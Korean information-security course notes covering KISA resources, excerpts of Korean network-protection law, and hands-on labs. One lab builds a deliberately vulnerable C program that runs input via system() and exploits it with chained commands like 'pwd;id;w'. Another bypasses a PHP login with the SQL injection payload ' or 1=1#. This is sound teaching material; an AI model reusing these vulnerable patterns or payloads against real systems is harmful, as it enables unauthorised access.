구글에서 검색
-정보보호 지침 pdf
https://www.dailysecu.com/news/articleView.html?idxno=432

KISA(한국인터넷진흥원)은 아래 3개 기관이 합쳐졌다.
-한국인터넷진흥원(NIDA)(1999년 6월 29일 ~ 2009년 7월 22일)
-정보통신국제협력진흥원(KIICA) (2007년 1월 26일 ~ 2009년 5월 21일)
-한국정보보호진흥원(KISA) (1996년 4월 10일 ~ 2009년 5월 21일)
법령/고시
https://www.kisa.or.kr/20601

실습> 관련 법 살펴보기
참고:
https://www.law.go.kr/
https://www.kisa.or.kr/20601
정보통신망 이용촉진 및 정보보호 등에 관한 법률 ( 약칭: 정보통신망법 )
정보통신망 이용촉진 및 정보보호 등에 관한 법률 시행령 ( 약칭: 정보통신망법 시행령 )
정보통신망 이용촉진 및 정보보호 등에 관한 법률 시행규칙 ( 약칭: 정보통신망법 시행규칙 )
개인정보 보호법
개인정보 보호법 시행령
실습> 확인
법령·가이드라인
법령·고시
가이드라인
안내서
사례집, 편람 등
정보보호 조직의 구성은 업무적으로 그 독립성이 보장되어야 한다.
다른 부서에 귀속 되어있으면 안된다.
정보보호 최고책임자라고 해도 중요 정보자산에 대한 접근권한이 없을 수 있다.
제목: [업무 협조] 휴가원 사용 실태 조사에 대한 내용입니다.
발신: ㅇㅇㅇ 과장
수신: 홍길동 과장
참조: ㅇㅇㅇ 부장
내용:
홍길동 과장님!
안녕하세요..
말씀드린 것처럼, 2022년 1월 ㅇㅇ ~ 2일간 휴가원 사용 싶태 조사를
실시할 예정입니다.
(자체 점검으로 인사팀 업무에는 거의 부담되지 않을 것으로 판단됩니다.)
이상입니다.
수고하세요... ^^
첨부파일: 휴가원사용실태조사계획서.docx
기술 질문들 ....
항목 질문 배점
네트워크 TCP/IP 계층별 대표 프로토콜은 무엇인가? 5
시스템 Linux 시스템의 보안취약점에 설명하시오? 5
Linux 로그의 종류는 어떤 것들이 있는지? 5
버퍼오버플로우 기법은 무엇인가? 5
:
:
연구보고서
https://www.kisa.or.kr/201/form?postSeq=12032&page=3#fnPostAttachDownload
실습> 2022 국가정보보호백서 다운로드
2022 국가정보보호백서를 다운로드 받아서 살펴보기
https://www.kisa.or.kr/20303/form?postSeq=12002&page=1
2021 국가정보보호백서를 다운로드 받아서 살펴보기
https://drive.google.com/file/d/1BOgiCJMBikL4Ou2bD2LL3bAlkB1r6y1e/view?usp=sharing
2020 국가정보보호백서를 다운로드 받아서 살펴보기
https://drive.google.com/file/d/1k8a2Hq1gyYQUuFRCCaRpdY5uYpabjKbX/view?usp=sharing
실습> 2021년도 하반기 사이버 위협 동향 보고서 다운로드
다운로드를 받아서 살펴보기
https://www.kisa.or.kr/20205/form?postSeq=1017&page=1
실습> Log4J 취약점 확인하기
자바 기반의 로깅 라이브러리
-관리를 위해서 프로그램에서 대부분의 로그를 기록한다.
보호나라
https://www.boho.or.kr/main.do
사이버 위협 동향 보고서(2022년 하반기)
https://www.boho.or.kr/data/reportView.do?bulletin_writing_sequence=67087
자료실 > 가이드 및 매뉴얼
https://www.boho.or.kr/data/guideView.do?bulletin_writing_sequence=36478
https://www.boho.or.kr/data/guideView.do?bulletin_writing_sequence=36477
정보통신망 이용촉진 및 정보보호 등에 관한 법률(법률)(제17358호)(20201210)
https://drive.google.com/file/d/1WKQsvvu5tUJxNzpOvuCxZnOyg0xI0VP3/view?usp=sharing
ISMS-P 인증기준 세부점검항목(2022.4.22).xlsx
https://docs.google.com/spreadsheets/d/1GHVZFLEo6nc1s3i6ace0rmZ0zUj3XoOC/edit?usp=sharing&ouid=103377353909594801329&rtpof=true&sd=true
https://itwiki.kr/w/정보보호위원회
정보보호 위원회는 정보보호와 관련된 중요한 정책 및 방향 등을 논의하고 의결하는 정보보호 관련 최상위 조직이다.
제48조(정보통신망 침해행위 등의 금지)
① 누구든지 정당한 접근권한 없이 또는 허용된 접근권한을 넘어 정보통신망에 침입하여서는 아니 된다.
② 누구든지 정당한 사유 없이 정보통신시스템, 데이터 또는 프로그램 등을 훼손ㆍ멸실ㆍ변경ㆍ위조하거나 그 운용을 방해할 수 있는 프로그램(이하 “악성프로그램”이라 한다)을 전달 또는 유포하여서는 아니 된다.
③ 누구든지 정보통신망의 안정적 운영을 방해할 목적으로 대량의 신호 또는 데이터를 보내거나 부정한 명령을 처리하도록 하는 등의 방법으로 정보통신망에 장애가 발생하게 하여서는 아니 된다.
제10장 벌칙 <신설 2007. 12. 21.>
제70조(벌칙) ① 사람을 비방할 목적으로 정보통신망을 통하여 공공연하게 사실을 드러내어 다른 사람의 명예를 훼손한 자는 3년 이하의 징역 또는 3천만원 이하의 벌금에 처한다. <개정 2014. 5. 28.>
② 사람을 비방할 목적으로 정보통신망을 통하여 공공연하게 거짓의 사실을 드러내어 다른 사람의 명예를 훼손한자는 7년 이하의 징역, 10년 이하의 자격정지 또는 5천만원 이하의 벌금에 처한다.
③ 제1항과 제2항의 죄는 피해자가 구체적으로 밝힌 의사에 반하여 공소를 제기할 수 없다.
[전문개정 2008. 6. 13.]
제70조의2(벌칙) 제48조제2항을 위반하여 악성프로그램을 전달 또는 유포하는 자는 7년 이하의 징역 또는 7천만원 이하의 벌금에 처한다.
[본조신설 2016. 3. 22.]
실습> 인젝션 취약점
C언어 기반의 프로그램
끼워넣기
-PHP 인젝션
-SQL 인젝션
-Command 인젝션 <--
:
:
[root@localhost ~]# yum -y install gcc man man-pages
[root@localhost ~]# vi commandInjection.c
/*
#include <stdio.h>
#include <string.h>
int main()
{
char cmd[100];
printf("실행할 명령어를 입력해주세요: ");
// char *fgets(char *s, int size, FILE *stream);
fgets(cmd, 99, stdin); // 사용자한테 명령어 입력
cmd[strlen(cmd)-1] = '\0'; // 완벽한 문자열을 생성한다.
system(cmd); // cmd 에 저장한 값을 출력한다.
return 0;
}
[root@localhost ~]# gcc -o /bin/commandInjection commandInjection.c
[root@localhost ~]# commandInjection
실행할 명령어를 입력해주세요: ls -l
ls -l
[root@localhost ~]# commandInjection
실행할 명령어를 입력해주세요: pwd
pwd
실행할 때 command injection: 명령어;명령어...
[root@localhost ~]# commandInjection
실행할 명령어를 입력해주세요: pwd;id
/root
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@localhost ~]# commandInjection
실행할 명령어를 입력해주세요: pwd;id;w
/root
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
20:08:59 up 1 day, 19:07, 2 users, load average: 0.15, 0.24, 0.33
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 19:40 26:35 0.03s 0.03s -bash
root pts/0 1.1.8.1 19:43 3.00s 0.07s 0.00s sh -c pwd;id;w
실습> 인젝션을 이용한 사용자 로그인하기
testuser 사용자가 요금이 미납되서 시스템에 로그인이 거부되었다.
자신의 미납 요금은 로그인해서 info.sh 명령어를 이용해서 확인할 수 있다.
1. 사용자 생성
[root@localhost ~]# useradd testuser -s /bin/commandInjection
[root@localhost ~]# tail -1 /etc/passwd
testuser:x:1000:1000::/home/testuser:/bin/commandInjection
[root@localhost ~]# echo 1 | passwd --stdin testuser
testuser 사용자의 비밀 번호 변경 중
passwd: 모든 인증 토큰이 성공적으로 업데이트 되었습니다.
2. 소스코드 생성
[root@localhost ~]# vi commandInjection.c
/*
#include <stdio.h>
#include <string.h>
int main()
{
char cmd[100];
printf(">>> 요금 미납으로 인해 시스템 접근이 금지 되었습니다. <<< \n");
printf("info.sh를 실행해서 확인할 수 있습니다.: ");
// char *fgets(char *s, int size, FILE *stream);
fgets(cmd, 99, stdin); // 사용자한테 명령어 입력
cmd[strlen(cmd)-1] = '\0'; // 완벽한 문자열을 생성한다.
system(cmd); // cmd 에 저장한 값을 출력한다.
return 0;
}
[root@localhost ~]# gcc -o /bin/commandInjection commandInjection.c
[root@localhost ~]# vi /bin/info.sh
#!/bin/sh
cat << END
안녕하세요. 고객님!
고객님은 현재 요금 미납으로 시스템에 로그인할 수 없습니다.
금액은 계좌는 아래를 이용해서 납부하시면 로그인할 수 있습니다.
계좌번호: ㅇㅇ은행 1234-5678
미납요금: 120,000원 (VAT 별도)
문의 부서: ㅇㅇ 시스템 운영팀
연락처: 02-1234-7788
담당자: 홍길동 팀장
END
[root@localhost ~]# chmod 755 /bin/info.sh
3. 로그인
cmd에서 ssh를 실행해서 testuser 사용자로 로그인해서 info.sh를 실행해서
미납요금의 정보를 확인한다.
그런데 이 프로그램은 취약점을 가지고 있고 그 취약점을 이용해서 시스템에 로그인한다.
C:\Users\user>ssh testuser@200.200.200.24
testuser@200.200.200.24's password:
Last login: Sat Jan 7 04:40:19 2023 from 200.200.200.1
'>>> 요금 미납으로 인해 시스템 접근이 금지 되었습니다. <<<'
info.sh를 실행해서 확인할 수 있습니다.: info.sh
안녕하세요. 고객님!
고객님은 현재 요금 미납으로 시스템에 로그인할 수 없습니다.
금액은 계좌는 아래를 이용해서 납부하시면 로그인할 수 있습니다.
계좌번호: ㅇㅇ은행 1234-5678
미납요금: 120,000원 (VAT 별도)
문의 부서: ㅇㅇ 시스템 운영팀
연락처: 02-1234-7788
담당자: 홍길동 팀장
Connection to 200.200.200.24 closed.

실습> SQLi 인젝션을 이용한 로그인 우회하기
login.php loginok.php logout.php 파일을 생성한다.
login.php : 로그인 페이지
loginok.php : 로그인 인증 페이지 (DB 연동 부분)
logout.php : 로그아웃 페이지

1. IP 주소 설정
임시적으로 IP주소를 설정한다.
[root@localhost ~]# ip addr add 200.200.200.3/24 dev ens33
[root@localhost ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:2f:26:e4 brd ff:ff:ff:ff:ff:ff
inet 200.200.200.24/24 brd 200.200.200.255 scope global noprefixroute ens33
valid_lft forever preferred_lft forever
inet 200.200.200.3/24 scope global secondary ens33
valid_lft forever preferred_lft forever
inet6 fe80::f5e2:3d98:7aba:ae16/64 scope link noprefixroute
valid_lft forever preferred_lft forever

[root@localhost ~]# yum -y remove httpd php mariadb
[root@localhost ~]# rm -rf /var/www/html /etc/php /etc/httpd /var/lib/mysql
[root@localhost ~]# yum -y remove remi
2. APM 설치
yum -y install httpd php mariadb mariadb-server
systemctl enable httpd
systemctl enable mariadb
3. 설정파일 수정
apache 웹서버 설정
[root@localhost ~]# vi /etc/httpd/conf.d/php.conf
<FilesMatch .(php|html)$>
SetHandler application/x-httpd-php
DirectoryIndex index.php index.html
php 설정
211번 라인에 short_open_tag 를 On 으로 변경한다.
[root@localhost ~]# vi /etc/php.ini
short_open_tag = On
display_errors = On
mariadb 설정
utf-8 언어셋으로 설정한다.
[root@localhost ~]# vi /etc/my.cnf
[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
#Disabling symbolic-links is recommended to prevent assorted security risks
symbolic-links=0
#아래 3줄을 추가한다.
collation-server = utf8_general_ci
character-set-server = utf8
skip-character-set-client-handshake
:
: (생략)
4. DBMS 라이브러리 설치
[root@localhost ~]# yum -y install php-mysql
5. DBMS 시작
mariadb 를 시작한다.
[root@localhost ~]# systemctl start mariadb
6. DBMS 비번 설정
mysqladmin : MariaDB 관리 프로그램
mysqladmin 으로 비번 변경 형식 :
mysqladmin -u <사용자> -p<비밀번호> password <새로운비밀번호>
비밀번호와 새로운비밀번호는 생략한다.
mysql의 관리자(root) 비밀번호를 111111(1 여섯개)로 설정한다.
[root@localhost ~]# mysqladmin -u root -p password
Enter password: <-- 엔터
New password: <-- 111111
Confirm new password: <-- 111111
7. DataBase 생성
[root@localhost ~]# vi .my.cnf
[client]
#host = localhost
#user = root
password = 111111
[root@localhost ~]# mysql
MariaDB [(none)]> SELECT user();
MariaDB [(none)]> \s
Server characterset: utf8
Db characterset: utf8
Client characterset: utf8
Conn. characterset: utf8
MariaDB [(none)]> quit
8. 웹서버 시작
/usr/sbin/httpd : 웹서버 실행파일
[root@localhost ~]# systemctl start httpd
9. 웹페이지 생성
APM연동이 잘 되었는지 테스트 파일을 생성한다.
phpinfo() 함수 : APM 연동 정보를 출력하는 함수
[root@localhost ~]# cd /var/www/html
[root@localhost ~]# vi index.php
10. 웹서버 접속
[root@localhost ~]# systemctl stop firewalld
[root@localhost ~]# systemctl disable firewalld
http://200.200.200.3/
11. 테이블 생성
[root@localhost ~]# mysql
USE test
CREATE TABLE member
(
no int NOT NULL AUTO_INCREMENT PRIMARY KEY COMMENT '번호',
userid VARCHAR(20) NOT NULL UNIQUE COMMENT '사용자ID',
userpw VARCHAR(41) NOT NULL COMMENT '비밀번호',
username VARCHAR(20) NOT NULL COMMENT '이름',
regdate DATETIME NOT NULL COMMENT '가입날짜',
phone VARCHAR(20) COMMENT '연락처',
email VARCHAR(50) COMMENT '이메일주소'
);
DESC member;
INSERT INTO member VALUES('', 'admin', password('111111'),'관리자', now(), '010-1111-2222', 'admin@naver.com');
SELECT * FROM member \G
quit

12. 웹 프로그램 생성
/var/www/html 디렉터리에 웹애플리케이션 파일을 생성한다.
:set noai , :set paste, i , 복사/붙여넣기 한다.
[root@localhost ~]# cd /var/www/html
[root@localhost ~]# vi login.php

| 님 환영합니다. |
| 로그아웃 |
| 아이디 | |
| 비밀번호 | |
[root@localhost ~]# vi loginok.php

[root@localhost ~]# vi logout.php

13. 웹페이지 접속
자신의 IP주소로 접속해서 로그인한다.
http://200.200.200.3/login.php
로그인 성공
아이디: admin
비밀번호: 111111
로그인 실패
아이디: admin
비밀번호: 222222
SQL injection 을 이용한 비정상 로그인 성공
로그인 성공
아이디: ' or 1=1#
비밀번호: 1
$query = "SELECT * FROM $TBNAME WHERE userid = 'admin' and userpw = password('111111') ";
MariaDB [test]> SELECT * FROM member WHERE userid = 'admin' and userpw = password('111111');

MariaDB [test]> SELECT * FROM member WHERE userid = 'admin' and userpw = password('222222');
Empty set (0.00 sec)
비밀번호가 틀린경우 (로그인 실패)
SELECT FROM member WHERE userid = 'admin' and userpw = password('222222');
SELECT FROM member WHERE TRUE and FALSE;
SELECT FROM member WHERE FALSE;
MariaDB [test]> SELECT FROM member WHERE FALSE;
Empty set (0.00 sec)
SQLi 에 의해서 최종 결과값이 TRUE (로그인 성공)
SELECT * FROM member WHERE userid = '' or 1=1#' and userpw = password('1');
SELECT FROM member WHERE FALSE or TRUE #' and userpw = password('1');
SELECT FROM member WHERE FALSE or TRUE
SELECT * FROM member WHERE TRUE;

정보보호 조직 구성원별 임무 사례 (중요)

정보보호 관련 직무 분리 기준을 수립 (중요)

직무 분리 기준 수립 사례 (중요)